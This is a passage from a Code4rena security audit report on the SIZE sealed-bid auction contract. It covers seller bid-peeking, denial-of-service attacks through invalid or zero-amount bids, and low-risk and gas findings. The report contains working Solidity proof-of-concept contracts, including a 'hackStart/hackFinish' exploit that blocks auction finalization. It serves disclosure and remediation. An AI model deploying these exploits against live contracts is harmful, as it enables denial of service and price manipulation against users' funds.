
```
â”œâ”€ [4900] SizeSealed::idToAuction(1) [staticcall]
â”‚   â””â”€ â† (1657269193, 1657269253, 1657269293, 16572
â”œâ”€ [4900] SizeSealed::idToAuction(2) [staticcall]
â”‚   â””â”€ â† (1657269193, 1657269253, 1657269293, 16572
â”œâ”€ emit log_named_uint(key: auction balance, val: 10000
â”œâ”€ emit log_named_uint(key: auction 1 totalBaseAmount, v
â”œâ”€ emit log_named_uint(key: auction 2 totalBaseAmount, v
â””â”€ â† ()

Test result: ok. 1 passed; 0 failed; finished in 7.64s
```

Tools Used

foundry

Recommended Mitigation Steps

check re-entrancy

Trust (warden) commented:

> Very clever, but requires such ERC777 token to exist, interoperate with ERC1820 registry and be deposited by other sellers. Does such token exist?

RagePit (SIZE) confirmed

ronnyx2017 (warden) commented:

> Very clever, but requires such ERC777 token to exist, interoperate with ERC1820 registry and be deposited by other sellers. Does such token exist?

> Hi, thanks, just for explaining in more detail about the exploit. As it says in https://eips.ethereum.org/EIPS/eip-777, “The token contract MUST register the ERC777Token interface with its own address via ERC-1820.“. The interface of interoperating with ERC1820 registry is built into ERC777 by default. And what the attacker need to do is registering in the ERC1820 registry for his sender/receiver address.

[M-05] Seller’s ability to decrypt bids before reveal could

result in a much higher clearing price than anticpated and make buyers distrust the system

Submitted by c7e7eff*, also found by* c7e7eff*,* gz627*,* hansfriese*,* Lambda*, and* rvierdiiev*.*

Bids are encrypted with the seller's public key. This makes that the seller can see all the bids before they reveal and finalize the auction. If the bids are unsatisfactory the seller can just decide not to honor the auction and not reveal their private key. Even worse, the seller, knowing the existing bids, can choose to fill the auction just beneath the optimal price increasing the clearing price.

Although there is a **check** in the `bid()` function where the bidder cannot submit a bid with the same address as the one used while creating the auction it is trivial to use another address to submit bids.

Whether this results in a net increase of the total amount received is not a limiting factor as they might very well be happy with a lower total amount of quote tokes if it means selling less of the base tokens.

Ultimately this means the reserve price for the auction is not respected which would make bidders distrust the system. Bidders that don't realize this impact stand to pay a much higher price than anticipated, hence the HIGH risk rating.

Proof of Concept

Following test shows the seller knowing the highest price can force the clearing price (`lowestQuote`) to be 2e6 in stead of what would be 1e6. `sellerIncreases` can be set to true or false to simulate both cases.

```
function testAuctionSellerIncreasesClearing() public {
    bool sellerIncreases = true;
    (uint256 sellerBeforeQuote, uint256 sellerBeforeBase) =
    uint256 aid = seller.createAuction(
        baseToSell, reserveQuotePerBase, minimumBidQuote, st
    );
    bidder1.setAuctionId(aid);
    bidder2.setAuctionId(aid);
    bidder1.bidOnAuctionWithSalt(9 ether, 18e6, "bidder1");
    bidder2.bidOnAuctionWithSalt(1 ether, 1e6, "bidder2");
```

```
        uint256[] memory bidIndices = new uint[](2);
        bidIndices[0] = 0;
        bidIndices[1] = 1;
        uint128 expectedClearingPrice = 1e6;
        if (sellerIncreases){
            //seller's altnerate wallet
            bidder3.setAuctionId(aid);
            bidder3.bidOnAuctionWithSalt(1 ether, 2e6, "seller")
            bidIndices = new uint[](3);
            bidIndices[0] = 0;
            bidIndices[1] = 2;
            bidIndices[2] = 1;
            expectedClearingPrice = 2e6;
        }
        vm.warp(endTime + 1);
        seller.finalize(bidIndices, 1 ether, expectedClearingPri
        AuctionData memory data = auction.getAuctionData(aid);
        emit log_named_uint("lowestBase", data.lowestBase);
        emit log_named_uint("lowestQuote", data.lowestQuote);
    }
```

Recommended Mitigation Steps

A possible mitigation would be to introduce a 2 step reveal where the bidders also encrypt their bid with their own private key and only reveal their key after the seller has revealed theirs. This would however create another attack vector where bidders try and game the auction and only reveal their bid(s) when and if the result would be in their best interest. This in turn could be mitigated by bidders losing (part of) their quote tokens when not revealing their bids.

Oxean (judge) commented on duplicate issue #170:

> Not sure that wash trading qualifies as H risk as its not very unique to this system and is a risk in many defi trading applications. Will leave open as M for sponsor comment.

Ragepit (sponsor) marked duplicate issue #170 as acknowledged and commented:

> We've accepted this risk that a seller can bid on their own auction and make the clearing price higher because they are trusted to know the bid prices. The % profit

> may go up but the sold tokens will go down so there's a trade-off for the seller.

[M-06] Attacker may DOS auctions using invalid bid parameters

Submitted by Trust, *also found by* _141345_, 0x1f8b, 0xdapper, c7e7eff, chaduke, codexploder, corerouter, cryptonue, fs0c, gz627, HE1M, hihen, joestakey, KIntern_NA, ktg, ladboy233, Lambda, minhtrng, Picodes, RaymondFam, RedOneN, rvierdiiev, simon135, skyle, slowmoses, TomJ, V_B, wagmi, *and* yixxas.

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L258-L263
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L157-L159
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L269-L280

Buyers submit bids to SIZE using the bid() function. There's a max of 1000 bids allowed per auction in order to stop DOS attacks (Otherwise it could become too costly to execute the finalize loop). However, setting a max on number of bids opens up other DOS attacks.

In the finalize loop this code is used:

```
ECCMath.Point memory sharedPoint = ECCMath.ecMul(b.pubKey, selle
// If the bidder public key isn't on the bn128 curve
if (sharedPoint.x == 1 && sharedPoint.y == 1) continue;
bytes32 decryptedMessage = ECCMath.decryptMessage(sharedPoint, k
// If the bidder didn't faithfully submit commitment or pubkey
// Or the bid was cancelled
if (computeCommitment(decryptedMessage) != b.commitment) continu
```

Note that pubKey is never validated. Therefore, attacker may pass pubKey = (0,0). In ecMul, the code will return (1,1): `if (scalar == 0 || (point.x == 0 && point.y`

`== 0)) return Point(1, 1);` As a result, we enter the continue block and the bid is ignored. Later, the bidder may receive their quote amount back using refund().

Another way to reach `continue` is by passing a 0 commitment.

One last way to force the auction to reject a bid is a low quotePerBase:

```
uint256 quotePerBase = FixedPointMathLib.mulDivDown(b.quoteAmour
// Only fill if above reserve price
if (quotePerBase < data.reserveQuotePerBase) continue;
```

baseAmount is not validated as it is encrypted to seller's public key. Therefore, buyer may pass baseAmount = 0, making quotePerBase = 0.

So, attacker may submit 1000 invalid bids and completely DOS the auction.

Impact

Attacker may DOS auctions using invalid bid parameters.

Recommended Mitigation Steps

Implement a slashing mechanism. If the bid cannot be executed due to user's fault, some % their submitted quote tokens will go to the protocol and auction creator.

Oxean (judge) commented:

> leaving open for sponsor review, issue is somewhat similar to the baseAmount 0 revert, but is unique enough to stand alone.

RagePit (SIZE) commented:

> While possibly an issue in extreme cases, we implemented the `minimumBidQuote` for this reason. As anyone looking to DOS this way would have to lockup `minimumBidQuote*1000` tokens for the duration of the auction

RagePit (SIZE) commented:

> Separate from the unintended `#64` issue where the DOS would require no funds locked

[M-07] Denial of service when `baseAmount` is equal to zero

Submitted by V_B*, also found by* 0x1f8b, cccz, hansfriese, ktg, M4TZ1P, neumo, zapaz*, and* V_B*.*

https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L217
https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L269
https://github.com/transmissions11/solmate/blob/main/src/utils/FixedPointMathLib.sol#L44

There is a `finalize` function in the `SizeSealed` smart contract. The function traverses the array of the bids sorted by price descending. On each iteration, it calculates the `quotePerBase` . When this variable is calculated, the whole transaction may be reverted due to the internal logic of the calculation.

Here is a part of the logic on the cycle iteration:

```
bytes32 decryptedMessage = ECCMath.decryptMessage(sharedPoint, k
// If the bidder didn't faithfully submit commitment or pubkey
// Or the bid was cancelled
if (computeCommitment(decryptedMessage) != b.commitment) continu

// First 128 bits are the base amount, last are random salt
uint128 baseAmount = uint128(uint256(decryptedMessage >> 128));

// Require that bids are passed in descending price
uint256 quotePerBase = FixedPointMathLib.mulDivDown(b.quoteAmour
```

Let's `baseAmount == 0` , then

```
uint256 quotePerBase = FixedPointMathLib.mulDivDown(b.quoteAmour
```

According to the implementation of the `FixedPointMathLib.mulDivDown`, the transaction will be reverted.

Attack scenario

A mallicious user may encrypt the message with `baseAmount == 0`, then the auction is impossible to `finalize`.

Impact

Any user can make a griffering attack to invalidate the auction.

PoC

```
// SPDX-License-Identifier: MIT OR Apache-2.0

pragma solidity =0.8.17;
pragma experimental ABIEncoderV2;

import {SizeSealed} from "SizeSealed.sol";
import {ISizeSealed} from "interfaces/ISizeSealed.sol";
import {ECCMath} from "util/ECCMath.sol";

import "https://github.com/OpenZeppelin/openzeppelin-contracts/k

contract MintableERC20 is ERC20
{
    constructor() ERC20("", "") {

    }

    function mint(address account, uint256 amount) public {
        _mint(account, amount);
    }
}

contract ExternalBidder
{
    uint256 constant privateKey = uint256(0xabcdabcd);
    function createBid(ERC20 quoteToken, SizeSealed sizeSealed,
        quoteToken.approve(address(sizeSealed), quoteAmount);
```

```
        (, bytes32 encryptedMessage) = ECCMath.encryptMessage(EC

        return sizeSealed.bid(
            auctionId,
            quoteAmount,
            keccak256(abi.encode(message)),
            ECCMath.publicKey(privateKey),
            encryptedMessage,
            "",
            new bytes32[](0)
        );
    }
}

contract PoC
{
    SizeSealed sizeSealed;
    MintableERC20 token1;
    MintableERC20 token2;
    ExternalBidder externalBidder;

    uint256 hackStartTimestamp;

    uint256 firstAuctionId;
    uint256 secondAuctionId;

    uint256 constant privateKey = uint256(0xc0de1234);

    constructor() {
        sizeSealed = new SizeSealed();
        token1 = new MintableERC20();
        token2 = new MintableERC20();
        externalBidder = new ExternalBidder();
    }

    // First transaction
    function hackStart() external returns (uint256) {
        require(hackStartTimestamp == 0);
        hackStartTimestamp = block.timestamp;

        {
            token1.mint(address(this), 123);
            token1.approve(address(sizeSealed), 123);
            firstAuctionId = createAuction(token1, token2, 123);
            require(firstAuctionId == 1);
```

```
            uint256 quoteAmount = 1;
            uint256 baseAmount = 1;
            token2.mint(address(this), quoteAmount);
            token2.transfer(address(externalBidder), quoteAmount
            uint256 bidId = externalBidder.createBid(
                token2,
                sizeSealed,
                firstAuctionId,
                uint128(quoteAmount),
                privateKey,
                bytes32(baseAmount << 128)
            );
            require(bidId == 0);
        }

        {
            token1.mint(address(this), 321);
            token1.approve(address(sizeSealed), 321);
            secondAuctionId = createAuction(token1, token2, 321)
            require(secondAuctionId == 2);

            uint256 quoteAmount = 1;
            uint256 baseAmount = 0;
            token2.mint(address(this), quoteAmount);
            token2.transfer(address(externalBidder), quoteAmount
            uint256 bidId = externalBidder.createBid(
                token2,
                sizeSealed,
                secondAuctionId,
                uint128(quoteAmount),
                privateKey,
                bytes32(baseAmount << 128)
            );
            require(bidId == 0);
        }

        return block.timestamp;
    }

    // external to be used in try+catch statement
    function finishAuction(uint256 auctionId) external {
        require(msg.sender == address(this));

        sizeSealed.reveal(auctionId, privateKey, "");
        require(token1.balanceOf(address(this)) == 0);
```

```
        uint256[] memory bidIndices = new uint256[](1);
        bidIndices[0] = 0;
        sizeSealed.finalize(auctionId, bidIndices, type(uint128)
    }

    // Second transaction
    // block.timestamp should be greater or equal to (block.time
    function hackFinish() external returns (uint256) {
        require(hackStartTimestamp != 0 && block.timestamp >= ha

        try this.finishAuction(firstAuctionId) {
            // expected
        } catch {
            revert();
        }

        try this.finishAuction(secondAuctionId) {
            revert();
        } catch {
            // expected
        }

        return block.timestamp;
    }

    function createAuction(ERC20 baseToken, ERC20 quoteToken, ui
        ISizeSealed.AuctionParameters memory auctionParameters;
        auctionParameters.baseToken = address(baseToken);
        auctionParameters.quoteToken = address(quoteToken);
        auctionParameters.reserveQuotePerBase = 0;
        auctionParameters.totalBaseAmount = totalBaseAmount;
        auctionParameters.minimumBidQuote = 0;
        auctionParameters.pubKey = ECCMath.publicKey(privateKey)

        ISizeSealed.Timings memory timings;
        timings.startTimestamp = uint32(block.timestamp);
        timings.endTimestamp = uint32(block.timestamp) + 1;
        timings.vestingStartTimestamp = uint32(block.timestamp)
        timings.vestingEndTimestamp = uint32(block.timestamp) +
        timings.cliffPercent = 1e18;

        return sizeSealed.createAuction(auctionParameters, timir
    }
}
```

Recommended Mitigation Steps

Add a special check to the `finalize` function to prevent errors in cases when `baseAmount` is equal to zero:

```
    if (baseAmount == 0) continue;
```

0xean (judge) commented on duplicate issue #209:

> I believe there are 2 underlying issues with the finalized routine. the first is bid stuffing, the second is a bid acting as a poison pill. This seems more like a poison pill type bid

Ragepit (SIZE) disagreed with severity on duplicate issue #209:

> Great find, I'd argue M because there's no loss of funds, just wasted time/gas after DOS

0xean (judge) replied:

> That is reasonable @RagePit - downgrading.

Low Risk and Non-Critical Issues

For this contest, 29 reports were submitted by wardens detailing low risk and non-critical issues. The **report highlighted below** by **0x1f8b** received the top score from the judge.

The following wardens also submitted reports: Aymen0909, brgltd, ajtra, B2, djxploit, lukris02, Deivitto, c7e7eff, RedOneN, 0xSmartContract, Josiah, trustindistrust, cryptonue, 0xc0ffEE, Trust, simon135, tnevler, peanuts, delfin454000, slowmoses, rvierdiiev, shark, Rahoz, KingNFT, aviggiano, ReyAdmirado, ctf_sec, *and* RaymondFam .

- **Low risk**
    - [L-01] Bid balance not ensured

    - [L-02] Unfair game for buyers
    - [L-03] Design weakness
    - [L-04] Seller can lock buyer tokens
- **Non critical**
    - [N-01] Integer overflow by unsafe casting
    - [N-02] Add indexes to events
    - [N-03] Add missing @param information
    - [N-04] Be specific with comments
    - [N-05] Unify return criteria
    - [N-06] Don't worry about keccak256 collisions

Low risk

[L-01] Bid balance not ensured

During `createAuction` the received `baseToken` balance is ensured to be received exactly, in order to avoid possible fees.

```
uint256 balanceBeforeTransfer = ERC20(auctionParams.baseToken).b

SafeTransferLib.safeTransferFrom(
    ERC20(auctionParams.baseToken), msg.sender, address(this), a
);

uint256 balanceAfterTransfer = ERC20(auctionParams.baseToken).ba
if (balanceAfterTransfer - balanceBeforeTransfer != auctionParam
    revert UnexpectedBalanceChange();
}
```

This check is not present during the `bid` procedure, is trusted in the `quoteToken`, but the true is because there are no token white list, the same checks should be done in order to ensure to be full compatible with tokens with fee (or empty).

```
SafeTransferLib.safeTransferFrom(ERC20(a.params.quoteToken), msg
```

So `quoteToken` will allow empty address and it won't pass https://github.com/transmissions11/solmate/blob/main/src/utils/SafeTransferLib.sol#L9.

Affected source code:

- SizeSealed.sol:163

[L-02] Unfair game for buyers

`cancelAuction` is available until the seller call `reveal` because only after that moment it's possible to call `finalize`.

The problem with this is that the buyers have committed themselves by spending gas to place a bid, and once the seller has had all the bids on the table, he can decide to leave, without selling, without disclosing and knowing all the bids, which It is like doing a market analysis without providing information, at the expense of the buyers, something that is not very advantageous for the buyer.

For that reason, I think that it should **not be possible** to cancel an auction if it's **under** `RevealPeriod`, and the seller should pay the gas cost of returning all bids to buyers upon cancellation.

Affected source code:

- SizeSealed.sol:398

[L-03] Design weakness

As the `SizeSealed` contract works, the buyer has to provide his bid in an encrypted way, however during the creation of the bid he has to provide the collateral for it. This makes it easier for buyers to adjust their collateral to their bid, so that the fact of encrypting it is meaningless, it would be more convenient for buyers to have a general balance, not related to the bid, and that the same balance be made on this balance, in this way, the balance of the sent user would not be related to the bid in question, and since someone is not incentivized in any way to send 100 eth and bid for 1, it would be more beneficial for buyers when it comes to do not reveal your move.

Affected source code:

- SizeSealed.sol

[L-04] Seller can lock buyer tokens

The seller specify the vesting time for buyer's baseTokens, this value is not controlled and it's used for `tokensAvailableForWithdrawal` in order to allow buyers to `withdraw` his tokens. The problem is if the seller set an incredible high value, these tokens will be locked forever and buyer will loss his tokens for all of his life, this information is public, but maybe the date format is shown short in the dApp, like 1/10/23, and the year it's 3023, so it could be easy for the users to bid for a hole.

Affected source code:

- SizeSealed.sol:66-70

Non-critical

[N-01] Integer overflow by unsafe casting

Keep in mind that the version of solidity used, despite being greater than `0.8`, does not prevent integer overflows during casting, it only does so in mathematical operations.

It is necessary to safely convert between the different numeric types.

Recommendation:

Use a safeCast from Open Zeppelin or increase the type length.

```
uint32(block.timestamp)
```

In this case the date will overflow in: Sun Feb 07 2106 (2^32 - 1 equals to 4294967295)

Affected source code:

- SizeSealed.sol:460
- CommonTokenMath.sol:62-66

[N-02] Add indexes to events

Solidity indexes help dApps and users to filter and process the information provided by smart contracts. That is why adding indexes in values that may be interesting for the user improves the usability of the contract.

```
    event AuctionCreated(
-       uint256 auctionId, address seller, AuctionParameters par
+       uint256 indexed auctionId, address indexed seller, Aucti
    );

    event AuctionCancelled(uint256 auctionId);

    event Bid(
-       address sender,
-       uint256 auctionId,
+       address indexed sender,
+       uint256 indexed auctionId,
        uint256 bidIndex,
        uint128 quoteAmount,
        bytes32 commitment,
        ECCMath.Point pubKey,
        bytes32 encryptedMessage,
        bytes encryptedPrivateKey
    );

-   event BidCancelled(uint256 auctionId, uint256 bidIndex);
+   event BidCancelled(uint256 indexed auctionId, uint256 bidInc

-   event RevealedKey(uint256 auctionId, uint256 privateKey);
+   event RevealedKey(uint256 indexed auctionId, uint256 private

-   event AuctionFinalized(uint256 auctionId, uint256[] bidIndic
+   event AuctionFinalized(uint256 indexed auctionId, uint256[]

-   event BidRefund(uint256 auctionId, uint256 bidIndex);
+   event BidRefund(uint256 indexed auctionId, uint256 bidIndex)

-   event Withdrawal(uint256 auctionId, uint256 bidIndex, uint25
+   event Withdrawal(uint256 indexed auctionId, uint256 bidIndex
```

Reference:

- https://docs.soliditylang.org/en/latest/contracts.html#events

Affected source code:

- ISizeSealed.sol:97-122

[N-03] Add missing @param information

Some parameters have not been commented, which reflects that the logic has been updated but not the documentation, it is advisable that developers update both at the same time to avoid the code being out of sync with the project documentation.

Affected source code:

- In ISizeSealed.sol:82:

```
    /// @param baseToken The ERC20 to be sold by the seller
    /// @param quoteToken The ERC20 to be bid by the bidders
    /// @param reserveQuotePerBase Minimum price that bids will
    /// @param totalBaseAmount Max amount of `baseToken` to be a
    /// @param minimumBidQuote Minimum quote amount a bid can bu
+   /// @param merkleRoot seller's merkleRoot for whitelist bidc
    /// @param pubKey On-chain storage of seller's ephemeral pub
    struct AuctionParameters {
        address baseToken;
        address quoteToken;
        uint256 reserveQuotePerBase;
        uint128 totalBaseAmount;
        uint128 minimumBidQuote;
        bytes32 merkleRoot;
        ECCMath.Point pubKey;
    }
```

- In SizeSealed.sol:177:

```
    /// @notice Reveals the private key of the seller
    /// @dev All valid bids are decrypted after this
    ///      finalizeData should be empty if seller does not wis
+   /// @param auctionId `auctionId` of the auction to bid on
```

```
    /// @param privateKey Private key corresponding to the aucti
    /// @param finalizeData Calldata that will be sent to finali
    function reveal(uint256 auctionId, uint256 privateKey, bytes
        external
        atState(idToAuction[auctionId], States.RevealPeriod)
    {
```

- In [ECCMath.sol:51]:

```
    /// @notice decrypts a message that was encrypted using `enc
    /// @param sharedPoint G^k1^k2 where k1 and k2 are the
+   /// @param encryptedMessage encrypted message proporcionatec
    ///      private keys of the two parties that can decrypt
    function decryptMessage(Point memory sharedPoint, bytes32 er
        internal
        pure
```

[N-04] Be specific with comments

`cliffPercent` is based on 1e18, but this information was not shown in the code documentation.

```
    /// @dev Helper function to determine tokens at a specific `
    /// @return tokensAvailable Amount of unlocked `baseToken` a
    /// @param vestingStart Start of linear vesting
    /// @param vestingEnd Completion of linear vesting
    /// @param currentTime Timestamp to evaluate at
-   /// @param cliffPercent Normalized percent to unlock at vest
+   /// @param cliffPercent Normalized percent to unlock at vest
    /// @param baseAmount Total amount of vested `baseToken`
    function tokensAvailableAtTime(
        uint32 vestingStart,
        uint32 vestingEnd,
        uint32 currentTime,
        uint128 cliffPercent,
        uint128 baseAmount
    ) internal pure returns (uint128) {
        if (currentTime > vestingEnd) {
            return baseAmount; // If vesting is over, bidder is
        } else if (currentTime <= vestingStart) {
            return 0; // If cliff hasn't been triggered yet, bic
```

```
        } else {
            // Vesting is active and cliff has triggered
            uint256 cliffAmount = FixedPointMathLib.mulDivDown(b

            return uint128(
                cliffAmount
                    + FixedPointMathLib.mulDivDown(
                        baseAmount - cliffAmount, currentTime -
                    )
            );
        }
    }
```

Affected source code:

- [CommonTokenMath.sol:45]

[N-05] Unify return criteria

In `ECCMath.sol` and `SizeSealed.sol` files, the methods are sometimes returned with return, other times the return variable is equal, and on other occasions the name of the return variable is not defined, unifying the way of writing the code makes the code more uniform and readable.

```
+   function publicKey(uint256 privateKey) internal view returns
+       return ecMul(Point(GX, GY), privateKey);
    }

+   function ecMul(Point memory point, uint256 scalar) internal
        bytes memory data = abi.encode(point, scalar);
        if (scalar == 0 || (point.x == 0 && point.y == 0)) retur
        (bool res, bytes memory ret) = address(0x07).staticcall{
        if (!res) return Point(1, 1);
+       return abi.decode(ret, (Point));
    }

+   function encryptMessage(Point memory encryptToPub, uint256 e
        internal view
        returns (Point memory buyerPub, bytes32 encryptedMessage
    {
        Point memory sharedPoint = ecMul(encryptToPub, encryptWi
        bytes32 sharedKey = hashPoint(sharedPoint);
+       encryptedMessage = message ^ sharedKey;
```

```
+       buyerPub = publicKey(encryptWithPriv);
    }

    function decryptMessage(Point memory sharedPoint, bytes32 er
        internal pure
+       returns (bytes32 decryptedMessage)
    {
+       return encryptedMessage ^ hashPoint(sharedPoint);
    }

+   function hashPoint(Point memory point) internal pure returns
+       return keccak256(abi.encode(point));
    }
```

Affected source code:

- ECCMath.sol:18-60
- SizeSealed.sol:466-480

[N-06] Don't worry about keccak256 collisions

When `cancelBid` is called, the `commitment` is set to 0 in order to force to fail the `computeCommitment` comparison.

```
    function cancelBid(uint256 auctionId, uint256 bidIndex)
        external
    {
        ...

        // Prevent any futher access to this EncryptedBid
        b.sender = address(0);

        // Prevent seller from finalizing a cancelled bid
        b.commitment = 0;
```

In case of the result of `computeCommitment` returns 0, because a collision or an error, a cancelled bid will be processed as valid.

```
            bytes32 decryptedMessage = ECCMath.decryptMessage(sh
```

```
// If the bidder didn't faithfully submit commitment
// Or the bid was cancelled
if (computeCommitment(decryptedMessage) != b.commitm
```

It's more resilient to use a different value as flag, `b.pubKey` will be safer and cheaper.

Affected source code:

- SizeSealed.sol:258
- SizeSealed.sol:435

0xean (judge) confirmed severity for all issues

Gas Optimizations

For this contest, 31 reports were submitted by wardens detailing gas optimizations. The report highlighted below by **0x1f8b** received the top score from the judge.

The following wardens also submitted reports: JC, Aymen0909, 0xSmartContract, halden, B2, Deivitto, djxploit, lukris02, mcwildy, gogo, TomJ, ret2basic, ajtra, karanctf, slowmoses, Dinesh11G, cryptostellar5, Sathish9098, Diana, aviggiano, oyc_109, Rolezn, gianganhnguyen, 0xdeadbeef, chaduke, ReyAdmirado, Bnke0x0, skyle, RaymondFam, *and* leosathya.

- [G-01] Optimize finalize with cancelled bids
- [G-02] Avoid storage keyword during modifiers
- [G-03] Reorder structure layout
- [G-04] Avoid compound assignment operator in state variables
- [G-05] Optimize variable definitions
- [G-06] Optimize finalize conditions

[G-01] Optimize `finalize` with cancelled bids

When `cancelBid` is called, the `commitment` is set to 0 in order to force to fail the `computeCommitment` comparison.

```
function cancelBid(uint256 auctionId, uint256 bidIndex)
    external
{
    ...

    // Prevent any futher access to this EncryptedBid
    b.sender = address(0);

    // Prevent seller from finalizing a cancelled bid
    b.commitment = 0;
```

This can be cheaper if `b.pubKey` is set to 0,0, because `ECCMath.ecMul` will return a (1,1) point and it will save all the `decryptMessage` from cancelled bids.

```
ECCMath.Point memory sharedPoint = ECCMath.ecMul(b.p
// If the bidder public key isn't on the bn128 curve
if (sharedPoint.x == 1 && sharedPoint.y == 1) contir

bytes32 decryptedMessage = ECCMath.decryptMessage(sh
// If the bidder didn't faithfully submit commitment
// Or the bid was cancelled
if (computeCommitment(decryptedMessage) != b.commitm
```

Note: This also will be more secure because `computeCommitment` could return 0 with a collision, and process the cancelled bid as valid.

Affected source code:

- SizeSealed.sol:258
- SizeSealed.sol:435

[G-02] Avoid `storage` keyword during modifiers

The problem with using modifiers with storage variables is that these accesses will likely have to be obtained multiple times, to pass it to the modifier, and to read it into

the method code.

```
modifier atState(Auction storage a, States _state) {
    if (block.timestamp < a.timings.startTimestamp) {
        if (_state != States.Created) revert InvalidState();
    } else if (block.timestamp < a.timings.endTimestamp) {
        if (_state != States.AcceptingBids) revert InvalidSt
    } else if (a.data.lowestQuote != type(uint128).max) {
        if (_state != States.Finalized) revert InvalidState
    } else if (block.timestamp <= a.timings.endTimestamp + 2
        if (_state != States.RevealPeriod) revert InvalidSta
    } else if (block.timestamp > a.timings.endTimestamp + 24
        if (_state != States.Voided) revert InvalidState();
    } else {
        revert();
    }
    _;
}
```

As you can see the following methods require to extract the `Auction` twice instead of once, it is recommended to use a method instead of a modifier

```
function bid(...) external
    atState(idToAuction[auctionId], States.AcceptingBids)
    returns (uint256) {
        Auction storage a = idToAuction[auctionId];
```

Affected source code:

- SizeSealed.sol:130-131
- SizeSealed.sol:179-181
- SizeSealed.sol:219-221
- SizeSealed.sol:336-337
- SizeSealed.sol:359

[G-03] Reorder structure layout

The following structures could be optimized moving the position of certain values in order to save a lot slots:

```
    struct EncryptedBid {
        address sender;
+       ECCMath.Point pubKey;
        uint128 quoteAmount;
        uint128 filledBaseAmount;
        uint128 baseWithdrawn;
        bytes32 commitment;
-       ECCMath.Point pubKey;
        bytes32 encryptedMessage;
    }
```

```
    struct AuctionParameters {
        address baseToken;
        address quoteToken;
+       ECCMath.Point pubKey;
        uint256 reserveQuotePerBase;
        uint128 totalBaseAmount;
        uint128 minimumBidQuote;
        bytes32 merkleRoot;
-       ECCMath.Point pubKey;
    }
```

Reference:

- https://ethdebug.github.io/solidity-data-representation

> Enums are represented by integers; the possibility listed first by 0, the next by 1, and so forth. An enum type just acts like uintN, where N is the smallest legal value large enough to accomodate all the possibilities.

- https://docs.soliditylang.org/en/v0.8.17/internals/layout_in_storage.html#storage-inplace-encoding

Affected source code:

- ISizeSealed.sol:46
- ISizeSealed.sol:83

[G-04] Avoid compound assignment operator in state variables

Using compound assignment operators for state variables (like `State += X` or `State -= X` ...) it's more expensive than using operator assignment (like `State = State + X` or `State = State - X` ...).

Proof of concept (*without optimizations*):

```
pragma solidity 0.8.15;

contract TesterA {
uint256 private _a;
function testShort() public {
_a += 1;
}
}

contract TesterB {
Uint256 private _a;
function testLong() public {
_a = _a + 1;
}
}
```

Gas saving executing: **13 per entry**

```
TesterA.testShort: 43507
TesterB.testLong:  43494
```

Affected source code:

- SizeSealed.sol:294
- SizeSealed.sol:373

Total gas saved: 13 * 2 = 26

[G-05] Optimize variable definitions

Where a variable is defined, it is important to avoid unnecessary expense prior to the appropriate validations.

Affected source code:

- ECCMath.sol:26 can be optimized like:

```
    /// @notice calculates point^scalar
    /// @dev returns (1,1) if the ecMul failed or invalid parame
    /// @return corresponding point
    function ecMul(Point memory point, uint256 scalar) internal
-       bytes memory data = abi.encode(point, scalar);
        if (scalar == 0 || (point.x == 0 && point.y == 0)) retur
-       (bool res, bytes memory ret) = address(0x07).staticcall{
+       (bool res, bytes memory ret) = address(0x07).staticcall{
        if (!res) return Point(1, 1);
        return abi.decode(ret, (Point));
    }
```

- SizeSealed.sol:157 can be optimized like:

```
    function bid(
        uint256 auctionId,
        uint128 quoteAmount,
        bytes32 commitment,
        ECCMath.Point calldata pubKey,
        bytes32 encryptedMessage,
        bytes calldata encryptedPrivateKey,
        bytes32[] calldata proof
    ) external atState(idToAuction[auctionId], States.AcceptingB
        ...

+       uint256 bidIndex = a.bids.length;
+       // Max of 1000 bids on an auction to prevent DOS
+       if (bidIndex >= 1000) {
+           revert InvalidState();
+       }

        EncryptedBid memory ebid;
        ebid.sender = msg.sender;
```

```
        ebid.quoteAmount = quoteAmount;
        ebid.commitment = commitment;
        ebid.pubKey = pubKey;
        ebid.encryptedMessage = encryptedMessage;

-       uint256 bidIndex = a.bids.length;
-       // Max of 1000 bids on an auction to prevent DOS
-       if (bidIndex >= 1000) {
-           revert InvalidState();
-       }

        a.bids.push(ebid);

        SafeTransferLib.safeTransferFrom(ERC20(a.params.quoteTok

        emit Bid(
            msg.sender, auctionId, bidIndex, quoteAmount, commit
        );

        return bidIndex;
    }
```

[G-06] Optimize `finalize` conditions

If the auction has been fully filled, it's not required to decrypt the message and do nothing else.

```
    function finalize(uint256 auctionId, uint256[] memory bidInc
        public
        atState(idToAuction[auctionId], States.RevealPeriod)
    {
        ...

        // Fill orders from highest price to lowest price
        for (uint256 i; i < bidIndices.length; i++) {
            uint256 bidIndex = bidIndices[i];
            EncryptedBid storage b = a.bids[bidIndex];

            // Verify this bid index hasn't been seen before
            uint256 bitmapIndex = bidIndex / 256;
            uint256 bitMap = seenBidMap[bitmapIndex];
            uint256 indexBit = 1 << (bidIndex % 256);
            if (bitMap & indexBit == 1) revert InvalidState();
```

```
            seenBidMap[bitmapIndex] = bitMap | indexBit;

+           // Auction has been fully filled
+           if (data.filledBase == data.totalBaseAmount) continu

            // G^k1^k2 == G^k2^k1
            ECCMath.Point memory sharedPoint = ECCMath.ecMul(b.p
            // If the bidder public key isn't on the bn128 curve
            if (sharedPoint.x == 1 && sharedPoint.y == 1) contir

            bytes32 decryptedMessage = ECCMath.decryptMessage(sh
            // If the bidder didn't faithfully submit commitment
            // Or the bid was cancelled
            if (computeCommitment(decryptedMessage) != b.commitm

            // First 128 bits are the base amount, last are ranc
            uint128 baseAmount = uint128(uint256(decryptedMessag

            // Require that bids are passed in descending price
            uint256 quotePerBase = FixedPointMathLib.mulDivDown(
            if (quotePerBase >= data.previousQuotePerBase) {
                // If last bid was the same price, make sure we
                if (quotePerBase == data.previousQuotePerBase) {
                    if (data.previousIndex > bidIndex) revert Ir
                } else {
                    revert InvalidSorting();
                }
            }

            // Only fill if above reserve price
            if (quotePerBase < data.reserveQuotePerBase) continu

-           // Auction has been fully filled
-           if (data.filledBase == data.totalBaseAmount) continu

            ...
        }

        ...
    }
```

Affected source code:

- SizeSealed.sol:283

Disclosures

C4 is an open organization governed by participants in the community.

